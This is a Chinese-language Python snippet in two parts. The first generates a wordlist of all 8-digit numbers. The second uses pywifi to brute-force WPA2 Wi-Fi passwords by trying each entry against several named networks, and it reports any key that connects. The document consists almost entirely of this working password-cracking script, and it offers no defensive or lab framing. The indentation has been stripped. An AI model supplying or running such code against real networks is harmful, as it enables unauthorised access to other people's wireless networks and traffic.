一、生成字典
import itertools as its
words="0123456789"
arrays = its.product(words, repeat = 8)
dictionary = open("C:/Users/Administrator/Desktop/dictionary.txt","a")
for item in arrays:
dictionary.write("".join(item))
dictionary.write("".join("\n"))
print(item)
dictionary.close()
print("[mission completion]")
二、连接Wifi
import pywifi
from pywifi import const
import time
def wifiConnect(ssid,pwd):
wifi=pywifi.PyWiFi()
ifaces=wifi.interfaces()[0]
ifaces.disconnect()
time.sleep(1)
wifistatus=ifaces.status()
if wifistatus ==const.IFACE_DISCONNECTED:
profile=pywifi.Profile()
profile.ssid=ssid
profile.auth=const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher=const.CIPHER_TYPE_CCMP
profile.key=pwd
ifaces.remove_all_network_profiles()
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(3)
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")
def readPassword(ssid):
print("开始破解:",ssid)
dictionary_path="C:/Users/Administrator/dictionary.txt"
file=open(dictionary_path,"r")
'''
# 这里可以跳行保存上次的进度,接着破解
for i in range(16547):
line = file.readline()
'''
while True:
try:
line=file.readline()
if not line:
break
bool=wifiConnect(ssid,line)
if bool:
print(ssid,"的密码已破解: ",line)
print("WiFi已自动连接!!!")
break
else:
print(ssid,"的密码破解中....密码校对: ",line)
except:
print("中止程序")
break
if __name__ == '__main__':
wifi_names = ['ChinaNet-A','奥托曼的WIFI','360Wifi']
for item in wifi_names:
readPassword(item)